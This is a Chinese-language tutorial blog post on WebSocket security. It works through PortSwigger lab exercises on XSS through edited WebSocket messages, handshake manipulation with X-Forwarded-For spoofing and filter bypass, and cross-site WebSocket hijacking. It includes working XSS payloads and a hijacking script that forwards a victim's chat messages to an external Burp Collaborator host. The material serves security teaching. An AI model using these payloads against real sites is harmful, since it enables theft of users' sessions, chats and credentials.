WebSocket安全漏洞

一、基础知识

1. 什么是WebSocket

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

2. 与HTTP的区别

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。

使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。

3. WebSocket 链接建立过程

  • client-side JavaScript 用于定义链接

var ws = new WebSocket("wss://normal-website.com/chat");

  • 浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
  • 返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
  • 网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。

ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息

4. 使用工具操作WebSocket流量

(1)拦截和修改WebSocket消息
(2)重播和生成新的WebSocket消息
(3)操纵WebSocket连接

二、漏洞利用

任何WEB安全问题都会出现在WebSockets中

  • SQL 注入
  • OAST
  • XSS

1. 篡改WebSocket消息内容

正常的信息交互如下:
{"message":"Hello Carlos"} 显示结果为 <td>Hello Carlos</td>
若无过滤,信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}

例题1

2. 操纵WebSocket握手以利用漏洞

某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,

  • 错误信任HTTP标头以执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制存在缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

例题2

扫描二维码关注公众号,回复: 14274332 查看本文章

3. 跨站点WebSocket劫持 (CSWSH)

WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时,可以构造跨站点WebSocket劫持攻击。

不要忘了CSRF三要素哈

CSWSH的影响

  • 伪装成受害用户执行未经授权的操作。
  • 检索用户可以访问的敏感数据。(与传统的CSRF不同,通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。)

攻击构造

  • 检查应用程序执行的WebSocket握手,并确定它们是否受到CSRF的保护。(三要素)
  • 攻击者的网页可以执行跨站点请求,以打开目标站点上的WebSocket。
  • 依据具体的实现逻辑尝试
    • 伪装成用户执行未授权操作
    • 发送WebSocket消息以检索敏感数据。
    • 只是等待包含敏感数据的传入消息

例题3

三、漏洞实例

1. 操纵WebSocket消息以利用漏洞(Manipulating WebSocket messages to exploit vulnerabilities)

本题及其简单,仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>

2. 纵WebSocket握手以利用漏洞(Manipulating the WebSocket handshake to exploit vulnerabilities

按上题思路尝试,发现IP被封。关键字 ()JavaScript onerror 等被禁
(1)X-Forwarded-For更新IP后,可重新连接
(2)反单引号、大小写绕过等技术
{"message":"<img src=1 oNErRor=alert1>"}

3. 跨站点WebSocket劫持(Cross-site WebSocket hijacking

目标:获取目标用户聊天记录,获取登录账号口令等敏感信息,登录其账户。
(1)查看WebSocket相关信息

GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

(2)利用攻击机发送构造的恶意代码
里面用到了Burp的collaborator(OAST外带技术来接受目标用户的敏感信息)–后续文章将详细介绍burp各相功能,异常强大好用。
将代码使用攻击机发送给目标用户。实施CSRF攻击,让用户建立WebSocket连接。我们使用burp-burpcollaborator查看聊天内容。

<script>  
    var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');
    ws.onopen = function() {
      
         // wss://聊天机器人页面地址
        ws.send("READY");
    };
    ws.onmessage = function(event) {
      
       // 此处url为burp-burpcollaborator的url
        fetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {
      
      method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

猜你喜欢

转载自blog.csdn.net/eason612/article/details/124763394